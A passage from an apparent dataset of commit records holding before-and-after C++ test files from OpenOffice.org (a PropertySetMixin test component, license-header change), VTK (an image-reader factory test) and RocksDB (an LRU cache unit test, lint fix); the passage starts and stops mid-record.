{ return new Full(m_context); }\n\nprivate:\n    Supplier(Supplier &); \/\/ not defined\n    void operator =(Supplier &); \/\/ not defined\n\n    virtual ~Supplier() {}\n\n    css::uno::Reference< css::uno::XComponentContext > m_context;\n};\n\ncss::uno::Reference< css::uno::XInterface > SAL_CALL create(\n    css::uno::Reference< css::uno::XComponentContext > const & context)\n    SAL_THROW((css::uno::Exception))\n{\n    return static_cast< cppu::OWeakObject * >(new Supplier(context));\n}\n\nrtl::OUString SAL_CALL getImplementationName() {\n    return rtl::OUString(\n        RTL_CONSTASCII_USTRINGPARAM(\n            \"test.cppuhelper.propertysetmixin.comp.CppSupplier\"));\n}\n\ncss::uno::Sequence< rtl::OUString > SAL_CALL getSupportedServiceNames() {\n    css::uno::Sequence< rtl::OUString > s(1);\n    s[0] = rtl::OUString(\n        RTL_CONSTASCII_USTRINGPARAM(\n            \"test.cppuhelper.propertysetmixin.CppSupplier\"));\n    return s;\n}\n\ncppu::ImplementationEntry entries[] = {\n    { &create, &getImplementationName, &getSupportedServiceNames,\n      &cppu::createSingleComponentFactory, 0, 0 },\n    { 0, 0, 0, 0, 0, 0 } };\n\n}\n\nextern \"C\" void * SAL_CALL component_getFactory(\n    char const * implName, void * serviceManager, void * registryKey)\n{\n    return cppu::component_getFactoryHelper(\n        implName, serviceManager, registryKey, entries);\n}\n\nextern \"C\" void SAL_CALL component_getImplementationEnvironment(\n    char const ** envTypeName, uno_Environment **)\n{\n    *envTypeName = CPPU_CURRENT_LANGUAGE_BINDING_NAME;\n}\n\nextern \"C\" sal_Bool SAL_CALL component_writeInfo(\n    void * serviceManager, void * registryKey)\n{\n    return cppu::component_writeInfoHelper(\n        serviceManager, registryKey, entries);\n}\n<commit_msg>INTEGRATION: CWS changefileheader (1.5.2); FILE MERGED 2008\/03\/28 15:25:23 rt 1.5.2.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: comp_propertysetmixin.cxx,v $\n * $Revision: 1.6 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_cppuhelper.hxx\"\n\n#include \"sal\/config.h\"\n\n#include \"test\/cppuhelper\/propertysetmixin\/XSupplier.hpp\"\n#include \"test\/cppuhelper\/propertysetmixin\/XTest3.hpp\"\n\n#include \"com\/sun\/star\/beans\/Ambiguous.hpp\"\n#include \"com\/sun\/star\/beans\/Defaulted.hpp\"\n#include \"com\/sun\/star\/beans\/Optional.hpp\"\n#include \"com\/sun\/star\/beans\/PropertyVetoException.hpp\"\n#include \"com\/sun\/star\/beans\/UnknownPropertyException.hpp\"\n#include \"com\/sun\/star\/lang\/XComponent.hpp\"\n#include \"cppuhelper\/propertysetmixin.hxx\"\n#include \"cppuhelper\/factory.hxx\"\n#include \"cppuhelper\/implbase1.hxx\"\n#include \"cppuhelper\/implementationentry.hxx\"\n#include \"cppuhelper\/queryinterface.hxx\"\n#include \"cppuhelper\/weak.hxx\"\n#include \"com\/sun\/star\/uno\/Any.hxx\"\n#include \"com\/sun\/star\/uno\/Exception.hpp\"\n#include \"com\/sun\/star\/uno\/Reference.hxx\"\n#include \"com\/sun\/star\/uno\/RuntimeException.hpp\"\n#include \"com\/sun\/star\/uno\/Sequence.hxx\"\n#include \"com\/sun\/star\/uno\/Type.hxx\"\n#include \"com\/sun\/star\/uno\/XComponentContext.hpp\"\n#include \"com\/sun\/star\/uno\/XInterface.hpp\"\n#include \"osl\/mutex.hxx\"\n#include \"rtl\/ustring.h\"\n#include \"rtl\/ustring.hxx\"\n#include \"sal\/types.h\"\n#include \"uno\/lbnames.h\"\n\nnamespace com { namespace sun { namespace star {\n    class XEventListener;\n} } }\n\nnamespace css = com::sun::star;\n\nnamespace {\n\nclass Empty1:\n    public cppu::OWeakObject, public css::lang::XComponent,\n    public cppu::PropertySetMixin< css::lang::XComponent >\n{\npublic:\n    explicit Empty1(\n        css::uno::Reference< css::uno::XComponentContext > const & context):\n        cppu::PropertySetMixin< css::lang::XComponent >(\n            context, static_cast< Implements >(0),\n            css::uno::Sequence< rtl::OUString >())\n    {}\n\n    virtual css::uno::Any SAL_CALL queryInterface(css::uno::Type const & type)\n        throw (css::uno::RuntimeException);\n\n    virtual void SAL_CALL acquire() throw () { OWeakObject::acquire(); }\n\n    virtual void SAL_CALL release() throw () { OWeakObject::release(); }\n\n    virtual void SAL_CALL dispose() throw (css::uno::RuntimeException) {\n        cppu::PropertySetMixin< css::lang::XComponent >::dispose();\n    }\n\n    virtual void SAL_CALL addEventListener(\n        css::uno::Reference< css::lang::XEventListener > const &)\n        throw (css::uno::RuntimeException)\n    {}\n\n    virtual void SAL_CALL removeEventListener(\n        css::uno::Reference< css::lang::XEventListener > const &)\n        throw (css::uno::RuntimeException)\n    {}\n\nprivate:\n    Empty1(Empty1 &); \/\/ not defined\n    void operator =(Empty1 &); \/\/ not defined\n\n    virtual ~Empty1() {}\n};\n\ncss::uno::Any Empty1::queryInterface(css::uno::Type const & type)\n    throw (css::uno::RuntimeException)\n{\n    css::uno::Any a(OWeakObject::queryInterface(type));\n    if (a.hasValue()) {\n        return a;\n    }\n    a = cppu::queryInterface(\n        type, static_cast< css::lang::XComponent * >(this));\n    return a.hasValue()\n        ? a\n        : cppu::PropertySetMixin< css::lang::XComponent >::queryInterface(\n            type);\n}\n\nclass Empty2:\n    public cppu::OWeakObject, public css::lang::XComponent,\n    public cppu::PropertySetMixin< css::lang::XComponent >\n{\npublic:\n    explicit Empty2(\n        css::uno::Reference< css::uno::XComponentContext > const & context):\n        cppu::PropertySetMixin< css::lang::XComponent >(\n            context,\n            static_cast< Implements >(\n                IMPLEMENTS_PROPERTY_SET | IMPLEMENTS_FAST_PROPERTY_SET\n                | IMPLEMENTS_PROPERTY_ACCESS),\n            css::uno::Sequence< rtl::OUString >())\n    {}\n\n    virtual css::uno::Any SAL_CALL queryInterface(css::uno::Type const & type)\n        throw (css::uno::RuntimeException);\n\n    virtual void SAL_CALL acquire() throw () { OWeakObject::acquire(); }\n\n    virtual void SAL_CALL release() throw () { OWeakObject::release(); }\n\n    virtual void SAL_CALL dispose() throw (css::uno::RuntimeException) {\n        cppu::PropertySetMixin< css::lang::XComponent >::dispose();\n    }\n\n    virtual void SAL_CALL addEventListener(\n        css::uno::Reference< css::lang::XEventListener > const &)\n        throw (css::uno::RuntimeException)\n    {}\n\n    virtual void SAL_CALL removeEventListener(\n        css::uno::Reference< css::lang::XEventListener > const &)\n        throw (css::uno::RuntimeException)\n    {}\n\nprivate:\n    Empty2(Empty2 &); \/\/ not defined\n    void operator =(Empty2 &); \/\/ not defined\n\n    virtual ~Empty2() {}\n};\n\ncss::uno::Any Empty2::queryInterface(css::uno::Type const & type)\n    throw (css::uno::RuntimeException)\n{\n    css::uno::Any a(OWeakObject::queryInterface(type));\n    if (a.hasValue()) {\n        return a;\n    }\n    a = cppu::queryInterface(\n        type, static_cast< css::lang::XComponent * >(this));\n    return a.hasValue()\n        ? a\n        : cppu::PropertySetMixin< css::lang::XComponent >::queryInterface(\n            type);\n}\n\ncss::uno::Sequence< rtl::OUString > sequenceThird() {\n    css::uno::Sequence< rtl::OUString > s(1);\n    s[0] = rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Third\"));\n    return s;\n}\n\nclass Full:\n    public cppu::OWeakObject, public test::cppuhelper::propertysetmixin::XTest3,\n    public cppu::PropertySetMixin<\n    test::cppuhelper::propertysetmixin::XTest3 >\n{\npublic:\n    explicit Full(\n        css::uno::Reference< css::uno::XComponentContext > const & context):\n        cppu::PropertySetMixin<\n        test::cppuhelper::propertysetmixin::XTest3 >(\n            context,\n            static_cast< Implements >(\n                IMPLEMENTS_PROPERTY_SET | IMPLEMENTS_FAST_PROPERTY_SET\n                | IMPLEMENTS_PROPERTY_ACCESS),\n            sequenceThird()),\n        m_a1(0),\n        m_a2(\n            css::beans::Defaulted< css::beans::Optional< sal_Int32 > >(\n                css::beans::Optional< sal_Int32 >(), true),\n            false)\n    {}\n\n    virtual css::uno::Any SAL_CALL queryInterface(css::uno::Type const & type)\n        throw (css::uno::RuntimeException);\n\n    virtual void SAL_CALL acquire() throw () { OWeakObject::acquire(); }\n\n    virtual void SAL_CALL release() throw () { OWeakObject::release(); }\n\n    virtual sal_Int32 SAL_CALL getFirst() throw (css::uno::RuntimeException);\n\n    virtual void SAL_CALL setFirst(sal_Int32 value)\n        throw (css::uno::RuntimeException);\n\n    virtual\n    css::beans::Ambiguous<\n        css::beans::Defaulted< css::beans::Optional< sal_Int32 > > >\n    SAL_CALL getSecond()\n        throw (\n            css::beans::UnknownPropertyException, css::uno::RuntimeException);\n\n    virtual void SAL_CALL setSecond(\n        css::beans::Ambiguous<\n        css::beans::Defaulted< css::beans::Optional< ::sal_Int32 > > > const &\n        value)\n        throw (\n            css::beans::PropertyVetoException,\n            css::beans::UnknownPropertyException, css::uno::RuntimeException);\n\n    virtual sal_Int32 SAL_CALL getThird()\n        throw (\n            css::beans::UnknownPropertyException, css::uno::RuntimeException);\n\n    virtual void SAL_CALL setThird(sal_Int32 value)\n        throw (\n            css::beans::UnknownPropertyException, css::uno::RuntimeException);\n\n    virtual sal_Int32 SAL_CALL getFourth()\n        throw (\n            css::beans::UnknownPropertyException, css::uno::RuntimeException);\n\n    virtual void SAL_CALL setFourth(sal_Int32 value)\n        throw (\n            css::beans::UnknownPropertyException, css::uno::RuntimeException);\n\nprivate:\n    Full(Full &); \/\/ not defined\n    void operator =(Full &); \/\/ not defined\n\n    virtual ~Full() {}\n\n    osl::Mutex m_mutex;\n    sal_Int32 m_a1;\n    css::beans::Ambiguous<\n        css::beans::Defaulted< css::beans::Optional< sal_Int32 > > > m_a2;\n};\n\ncss::uno::Any Full::queryInterface(css::uno::Type const & type)\n    throw (css::uno::RuntimeException)\n{\n    css::uno::Any a(OWeakObject::queryInterface(type));\n    if (a.hasValue()) {\n        return a;\n    }\n    a = cppu::queryInterface(\n        type,\n        static_cast< test::cppuhelper::propertysetmixin::XTest3 * >(this));\n    return a.hasValue()\n        ? a\n        : (cppu::PropertySetMixin<\n           test::cppuhelper::propertysetmixin::XTest3 >::queryInterface(\n               type));\n}\n\nsal_Int32 Full::getFirst() throw (css::uno::RuntimeException) {\n    osl::MutexGuard g(m_mutex);\n    return m_a1;\n}\n\nvoid Full::setFirst(sal_Int32 value) throw (css::uno::RuntimeException) {\n    prepareSet(\n        rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"First\")), css::uno::Any(),\n        css::uno::Any(), 0);\n    osl::MutexGuard g(m_mutex);\n    m_a1 = value;\n}\n\ncss::beans::Ambiguous<\n    css::beans::Defaulted< css::beans::Optional< sal_Int32 > > >\nFull::getSecond()\n    throw (css::beans::UnknownPropertyException, css::uno::RuntimeException)\n{\n    osl::MutexGuard g(m_mutex);\n    return m_a2;\n}\n\nvoid Full::setSecond(\n    css::beans::Ambiguous<\n    css::beans::Defaulted< css::beans::Optional< ::sal_Int32 > > > const &\n    value)\n    throw (\n        css::beans::PropertyVetoException, css::beans::UnknownPropertyException,\n        css::uno::RuntimeException)\n{\n    css::uno::Any v;\n    if (value.Value.Value.IsPresent) {\n        v <<= value.Value.Value.Value;\n    }\n    BoundListeners l;\n    prepareSet(\n        rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Second\")), css::uno::Any(),\n        v, &l);\n    {\n        osl::MutexGuard g(m_mutex);\n        m_a2 = value;\n    }\n    l.notify();\n}\n\nsal_Int32 Full::getThird()\n    throw (css::beans::UnknownPropertyException, css::uno::RuntimeException)\n{\n    throw css::beans::UnknownPropertyException(\n        rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Third\")),\n        static_cast< cppu::OWeakObject * >(this));\n}\n\nvoid Full::setThird(sal_Int32)\n    throw (css::beans::UnknownPropertyException, css::uno::RuntimeException)\n{\n    throw css::beans::UnknownPropertyException(\n        rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Third\")),\n        static_cast< cppu::OWeakObject * >(this));\n}\n\nsal_Int32 Full::getFourth()\n    throw (css::beans::UnknownPropertyException, css::uno::RuntimeException)\n{\n    throw css::beans::UnknownPropertyException(\n        rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Fourth\")),\n        static_cast< cppu::OWeakObject * >(this));\n}\n\nvoid Full::setFourth(sal_Int32)\n    throw (css::beans::UnknownPropertyException, css::uno::RuntimeException)\n{\n    throw css::beans::UnknownPropertyException(\n        rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"Fourth\")),\n        static_cast< cppu::OWeakObject * >(this));\n}\n\nclass Supplier:\n    public cppu::WeakImplHelper1<\n    test::cppuhelper::propertysetmixin::XSupplier >\n{\npublic:\n    explicit Supplier(\n        css::uno::Reference< css::uno::XComponentContext > const & context):\n        m_context(context) {}\n\n    virtual css::uno::Reference< css::lang::XComponent > SAL_CALL getEmpty1()\n        throw (css::uno::RuntimeException)\n    { return new Empty1(m_context); }\n\n    virtual css::uno::Reference< css::lang::XComponent > SAL_CALL getEmpty2()\n        throw (css::uno::RuntimeException)\n    { return new Empty2(m_context); }\n\n    virtual css::uno::Reference< test::cppuhelper::propertysetmixin::XTest3 >\n    SAL_CALL getFull() throw (css::uno::RuntimeException)\n    { return new Full(m_context); }\n\nprivate:\n    Supplier(Supplier &); \/\/ not defined\n    void operator =(Supplier &); \/\/ not defined\n\n    virtual ~Supplier() {}\n\n    css::uno::Reference< css::uno::XComponentContext > m_context;\n};\n\ncss::uno::Reference< css::uno::XInterface > SAL_CALL create(\n    css::uno::Reference< css::uno::XComponentContext > const & context)\n    SAL_THROW((css::uno::Exception))\n{\n    return static_cast< cppu::OWeakObject * >(new Supplier(context));\n}\n\nrtl::OUString SAL_CALL getImplementationName() {\n    return rtl::OUString(\n        RTL_CONSTASCII_USTRINGPARAM(\n            \"test.cppuhelper.propertysetmixin.comp.CppSupplier\"));\n}\n\ncss::uno::Sequence< rtl::OUString > SAL_CALL getSupportedServiceNames() {\n    css::uno::Sequence< rtl::OUString > s(1);\n    s[0] = rtl::OUString(\n        RTL_CONSTASCII_USTRINGPARAM(\n            \"test.cppuhelper.propertysetmixin.CppSupplier\"));\n    return s;\n}\n\ncppu::ImplementationEntry entries[] = {\n    { &create, &getImplementationName, &getSupportedServiceNames,\n      &cppu::createSingleComponentFactory, 0, 0 },\n    { 0, 0, 0, 0, 0, 0 } };\n\n}\n\nextern \"C\" void * SAL_CALL component_getFactory(\n    char const * implName, void * serviceManager, void * registryKey)\n{\n    return cppu::component_getFactoryHelper(\n        implName, serviceManager, registryKey, entries);\n}\n\nextern \"C\" void SAL_CALL component_getImplementationEnvironment(\n    char const ** envTypeName, uno_Environment **)\n{\n    *envTypeName = CPPU_CURRENT_LANGUAGE_BINDING_NAME;\n}\n\nextern \"C\" sal_Bool SAL_CALL component_writeInfo(\n    void * serviceManager, void * registryKey)\n{\n    return cppu::component_writeInfoHelper(\n        serviceManager, registryKey, entries);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    TestImageReader2Factory.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n\/\/ .NAME Test of vtkMetaIO \/ MetaImage\n\/\/ .SECTION Description\n\/\/\n\n#include \"vtkImageReader2Factory.h\"\n#include \"vtkImageReader2.h\"\n#include \"vtkMetaImageWriter.h\"\n#include \"vtkOutputWindow.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkDataObject.h\"\n#include \"vtkImageData.h\"\n#include \"vtkImageMathematics.h\"\n#include \"vtkSmartPointer.h\"\n#include \"vtkDebugLeaks.h\"\n\n\nint TestImageReader2Factory(int argc, char *argv[])\n{\n  vtkOutputWindow::GetInstance()->PromptUserOn();\n\n  vtkDebugLeaks::SetExitError(true);\n\n  if ( argc <= 1 )\n    {\n    cout << \"Usage: \" << argv[0] << \" <meta image file>\" << endl;\n    return 1;\n    }\n\n  int error = 0;\n\n  vtkSmartPointer< vtkImageReader2Factory > imageFactory = \n    vtkSmartPointer< vtkImageReader2Factory >::New();\n\n  vtkSmartPointer< vtkImageReader2 > imageReader = \n    imageFactory->CreateImageReader2( argv[1] );  \n\n  imageReader->SetFileName( argv[1] );\n  imageReader->Update();\n\n  vtkSmartPointer< vtkImageData > image = imageReader->GetOutput();\n\n  cout << \"Success!  Error = \" << error << endl;\n\n  return 0;\n}\n<commit_msg>BUG: The vtkImageReader2 instance must be manually destroyed by calling Delete().<commit_after>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    TestImageReader2Factory.cxx\n\n  Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen\n  All rights reserved.\n  See Copyright.txt or http:\/\/www.kitware.com\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n\/\/ .NAME Test of vtkMetaIO \/ MetaImage\n\/\/ .SECTION Description\n\/\/\n\n#include \"vtkImageReader2Factory.h\"\n#include \"vtkImageReader2.h\"\n#include \"vtkMetaImageWriter.h\"\n#include \"vtkOutputWindow.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkDataObject.h\"\n#include \"vtkImageData.h\"\n#include \"vtkImageMathematics.h\"\n#include \"vtkSmartPointer.h\"\n#include \"vtkDebugLeaks.h\"\n\n\nint TestImageReader2Factory(int argc, char *argv[])\n{\n  vtkOutputWindow::GetInstance()->PromptUserOn();\n\n  vtkDebugLeaks::SetExitError(true);\n\n  if ( argc <= 1 )\n    {\n    cout << \"Usage: \" << argv[0] << \" <meta image file>\" << endl;\n    return 1;\n    }\n\n  int error = 0;\n\n  vtkSmartPointer< vtkImageReader2Factory > imageFactory = \n    vtkSmartPointer< vtkImageReader2Factory >::New();\n\n  cout << \"Filename = \" << argv[1] << endl;\n\n  vtkSmartPointer * imageReader = \n    imageFactory->CreateImageReader2( argv[1] );  \n\n  imageReader->SetFileName( argv[1] );\n  imageReader->Update();\n\n  vtkSmartPointer< vtkImageData > image = imageReader->GetOutput();\n\n  imageReader->Delete();\n\n  cout << \"Success!  Error = \" << error << endl;\n\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011 The LevelDB Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file. See the AUTHORS file for names of contributors.\n\n#include \"rocksdb\/cache.h\"\n\n#include <vector>\n#include <string>\n#include <iostream>\n#include \"util\/coding.h\"\n#include \"util\/testharness.h\"\n\nnamespace rocksdb {\n\n\/\/ Conversions between numeric keys\/values and the types expected by Cache.\nstatic std::string EncodeKey(int k) {\n  std::string result;\n  PutFixed32(&result, k);\n  return result;\n}\nstatic int DecodeKey(const Slice& k) {\n  assert(k.size() == 4);\n  return DecodeFixed32(k.data());\n}\nstatic void* EncodeValue(uintptr_t v) { return reinterpret_cast<void*>(v); }\nstatic int DecodeValue(void* v) { return reinterpret_cast<uintptr_t>(v); }\n\nclass CacheTest {\n public:\n  static CacheTest* current_;\n\n  static void Deleter(const Slice& key, void* v) {\n    current_->deleted_keys_.push_back(DecodeKey(key));\n    current_->deleted_values_.push_back(DecodeValue(v));\n  }\n\n  static const int kCacheSize = 1000;\n  std::vector<int> deleted_keys_;\n  std::vector<int> deleted_values_;\n  shared_ptr<Cache> cache_;\n\n  CacheTest() : cache_(NewLRUCache(kCacheSize)) {\n    current_ = this;\n  }\n\n  ~CacheTest() {\n  }\n\n  int Lookup(int key) {\n    Cache::Handle* handle = cache_->Lookup(EncodeKey(key));\n    const int r = (handle == nullptr) ? -1 : DecodeValue(cache_->Value(handle));\n    if (handle != nullptr) {\n      cache_->Release(handle);\n    }\n    return r;\n  }\n\n  void Insert(int key, int value, int charge = 1) {\n    cache_->Release(cache_->Insert(EncodeKey(key), EncodeValue(value), charge,\n                                   &CacheTest::Deleter));\n  }\n\n  void Erase(int key) {\n    cache_->Erase(EncodeKey(key));\n  }\n};\nCacheTest* CacheTest::current_;\n\nTEST(CacheTest, HitAndMiss) {\n  ASSERT_EQ(-1, Lookup(100));\n\n  Insert(100, 101);\n  ASSERT_EQ(101, Lookup(100));\n  ASSERT_EQ(-1,  Lookup(200));\n  ASSERT_EQ(-1,  Lookup(300));\n\n  Insert(200, 201);\n  ASSERT_EQ(101, Lookup(100));\n  ASSERT_EQ(201, Lookup(200));\n  ASSERT_EQ(-1,  Lookup(300));\n\n  Insert(100, 102);\n  ASSERT_EQ(102, Lookup(100));\n  ASSERT_EQ(201, Lookup(200));\n  ASSERT_EQ(-1,  Lookup(300));\n\n  ASSERT_EQ(1U, deleted_keys_.size());\n  ASSERT_EQ(100, deleted_keys_[0]);\n  ASSERT_EQ(101, deleted_values_[0]);\n}\n\nTEST(CacheTest, Erase) {\n  Erase(200);\n  ASSERT_EQ(0U, deleted_keys_.size());\n\n  Insert(100, 101);\n  Insert(200, 201);\n  Erase(100);\n  ASSERT_EQ(-1,  Lookup(100));\n  ASSERT_EQ(201, Lookup(200));\n  ASSERT_EQ(1U, deleted_keys_.size());\n  ASSERT_EQ(100, deleted_keys_[0]);\n  ASSERT_EQ(101, deleted_values_[0]);\n\n  Erase(100);\n  ASSERT_EQ(-1,  Lookup(100));\n  ASSERT_EQ(201, Lookup(200));\n  ASSERT_EQ(1U, deleted_keys_.size());\n}\n\nTEST(CacheTest, EntriesArePinned) {\n  Insert(100, 101);\n  Cache::Handle* h1 = cache_->Lookup(EncodeKey(100));\n  ASSERT_EQ(101, DecodeValue(cache_->Value(h1)));\n\n  Insert(100, 102);\n  Cache::Handle* h2 = cache_->Lookup(EncodeKey(100));\n  ASSERT_EQ(102, DecodeValue(cache_->Value(h2)));\n  ASSERT_EQ(0U, deleted_keys_.size());\n\n  cache_->Release(h1);\n  ASSERT_EQ(1U, deleted_keys_.size());\n  ASSERT_EQ(100, deleted_keys_[0]);\n  ASSERT_EQ(101, deleted_values_[0]);\n\n  Erase(100);\n  ASSERT_EQ(-1, Lookup(100));\n  ASSERT_EQ(1U, deleted_keys_.size());\n\n  cache_->Release(h2);\n  ASSERT_EQ(2U, deleted_keys_.size());\n  ASSERT_EQ(100, deleted_keys_[1]);\n  ASSERT_EQ(102, deleted_values_[1]);\n}\n\nTEST(CacheTest, EvictionPolicy) {\n  Insert(100, 101);\n  Insert(200, 201);\n\n  \/\/ Frequently used entry must be kept around\n  for (int i = 0; i < kCacheSize + 100; i++) {\n    Insert(1000+i, 2000+i);\n    ASSERT_EQ(2000+i, Lookup(1000+i));\n    ASSERT_EQ(101, Lookup(100));\n  }\n  ASSERT_EQ(101, Lookup(100));\n  ASSERT_EQ(-1, Lookup(200));\n}\n\nTEST(CacheTest, HeavyEntries) {\n  \/\/ Add a bunch of light and heavy entries and then count the combined\n  \/\/ size of items still in the cache, which must be approximately the\n  \/\/ same as the total capacity.\n  const int kLight = 1;\n  const int kHeavy = 10;\n  int added = 0;\n  int index = 0;\n  while (added < 2*kCacheSize) {\n    const int weight = (index & 1) ? kLight : kHeavy;\n    Insert(index, 1000+index, weight);\n    added += weight;\n    index++;\n  }\n\n  int cached_weight = 0;\n  for (int i = 0; i < index; i++) {\n    const int weight = (i & 1 ? kLight : kHeavy);\n    int r = Lookup(i);\n    if (r >= 0) {\n      cached_weight += weight;\n      ASSERT_EQ(1000+i, r);\n    }\n  }\n  ASSERT_LE(cached_weight, kCacheSize + kCacheSize\/10);\n}\n\nTEST(CacheTest, NewId) {\n  uint64_t a = cache_->NewId();\n  uint64_t b = cache_->NewId();\n  ASSERT_NE(a, b);\n}\n\n\nclass Value {\n private:\n  int v_;\n public:\n  Value(int v) : v_(v) { }\n\n  ~Value() { std::cout << v_ << \" is destructed\\n\"; }\n};\n\nvoid deleter(const Slice& key, void* value) {\n  delete (Value *)value;\n}\n\n\nTEST(CacheTest, BadEviction) {\n  int n = 10;\n\n  \/\/ a LRUCache with n entries and one shard only\n  std::shared_ptr<Cache> cache = NewLRUCache(n, 0);\n\n  std::vector<Cache::Handle*> handles(n+1);\n\n  \/\/ Insert n+1 entries, but not releasing.\n  for (int i = 0; i < n+1; i++) {\n    std::string key = std::to_string(i+1);\n    handles[i] = cache->Insert(key, new Value(i+1), 1, &deleter);\n  }\n\n  \/\/ Guess what's in the cache now?\n  for (int i = 0; i < n+1; i++) {\n    std::string key = std::to_string(i+1);\n    auto h = cache->Lookup(key);\n    std::cout << key << (h?\" found\\n\":\" not found\\n\");\n    \/\/ Only the first entry should be missing\n    ASSERT_TRUE(h || i == 0);\n    if (h) cache->Release(h);\n  }\n\n  for (int i = 0; i < n+1; i++) {\n    cache->Release(handles[i]);\n  }\n  std::cout << \"Poor entries\\n\";\n}\n\n}  \/\/ namespace rocksdb\n\nint main(int argc, char** argv) {\n  return rocksdb::test::RunAllTests();\n}\n<commit_msg>Minor: Fix a lint error in cache_test.cc<commit_after>\/\/ Copyright (c) 2011 The LevelDB Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file. See the AUTHORS file for names of contributors.\n\n#include \"rocksdb\/cache.h\"\n\n#include <vector>\n#include <string>\n#include <iostream>\n#include \"util\/coding.h\"\n#include \"util\/testharness.h\"\n\nnamespace rocksdb {\n\n\/\/ Conversions between numeric keys\/values and the types expected by Cache.\nstatic std::string EncodeKey(int k) {\n  std::string result;\n  PutFixed32(&result, k);\n  return result;\n}\nstatic int DecodeKey(const Slice& k) {\n  assert(k.size() == 4);\n  return DecodeFixed32(k.data());\n}\nstatic void* EncodeValue(uintptr_t v) { return reinterpret_cast<void*>(v); }\nstatic int DecodeValue(void* v) { return reinterpret_cast<uintptr_t>(v); }\n\nclass CacheTest {\n public:\n  static CacheTest* current_;\n\n  static void Deleter(const Slice& key, void* v) {\n    current_->deleted_keys_.push_back(DecodeKey(key));\n    current_->deleted_values_.push_back(DecodeValue(v));\n  }\n\n  static const int kCacheSize = 1000;\n  std::vector<int> deleted_keys_;\n  std::vector<int> deleted_values_;\n  shared_ptr<Cache> cache_;\n\n  CacheTest() : cache_(NewLRUCache(kCacheSize)) {\n    current_ = this;\n  }\n\n  ~CacheTest() {\n  }\n\n  int Lookup(int key) {\n    Cache::Handle* handle = cache_->Lookup(EncodeKey(key));\n    const int r = (handle == nullptr) ? -1 : DecodeValue(cache_->Value(handle));\n    if (handle != nullptr) {\n      cache_->Release(handle);\n    }\n    return r;\n  }\n\n  void Insert(int key, int value, int charge = 1) {\n    cache_->Release(cache_->Insert(EncodeKey(key), EncodeValue(value), charge,\n                                   &CacheTest::Deleter));\n  }\n\n  void Erase(int key) {\n    cache_->Erase(EncodeKey(key));\n  }\n};\nCacheTest* CacheTest::current_;\n\nTEST(CacheTest, HitAndMiss) {\n  ASSERT_EQ(-1, Lookup(100));\n\n  Insert(100, 101);\n  ASSERT_EQ(101, Lookup(100));\n  ASSERT_EQ(-1,  Lookup(200));\n  ASSERT_EQ(-1,  Lookup(300));\n\n  Insert(200, 201);\n  ASSERT_EQ(101, Lookup(100));\n  ASSERT_EQ(201, Lookup(200));\n  ASSERT_EQ(-1,  Lookup(300));\n\n  Insert(100, 102);\n  ASSERT_EQ(102, Lookup(100));\n  ASSERT_EQ(201, Lookup(200));\n  ASSERT_EQ(-1,  Lookup(300));\n\n  ASSERT_EQ(1U, deleted_keys_.size());\n  ASSERT_EQ(100, deleted_keys_[0]);\n  ASSERT_EQ(101, deleted_values_[0]);\n}\n\nTEST(CacheTest, Erase) {\n  Erase(200);\n  ASSERT_EQ(0U, deleted_keys_.size());\n\n  Insert(100, 101);\n  Insert(200, 201);\n  Erase(100);\n  ASSERT_EQ(-1,  Lookup(100));\n  ASSERT_EQ(201, Lookup(200));\n  ASSERT_EQ(1U, deleted_keys_.size());\n  ASSERT_EQ(100, deleted_keys_[0]);\n  ASSERT_EQ(101, deleted_values_[0]);\n\n  Erase(100);\n  ASSERT_EQ(-1,  Lookup(100));\n  ASSERT_EQ(201, Lookup(200));\n  ASSERT_EQ(1U, deleted_keys_.size());\n}\n\nTEST(CacheTest, EntriesArePinned) {\n  Insert(100, 101);\n  Cache::Handle* h1 = cache_->Lookup(EncodeKey(100));\n  ASSERT_EQ(101, DecodeValue(cache_->Value(h1)));\n\n  Insert(100, 102);\n  Cache::Handle* h2 = cache_->Lookup(EncodeKey(100));\n  ASSERT_EQ(102, DecodeValue(cache_->Value(h2)));\n  ASSERT_EQ(0U, 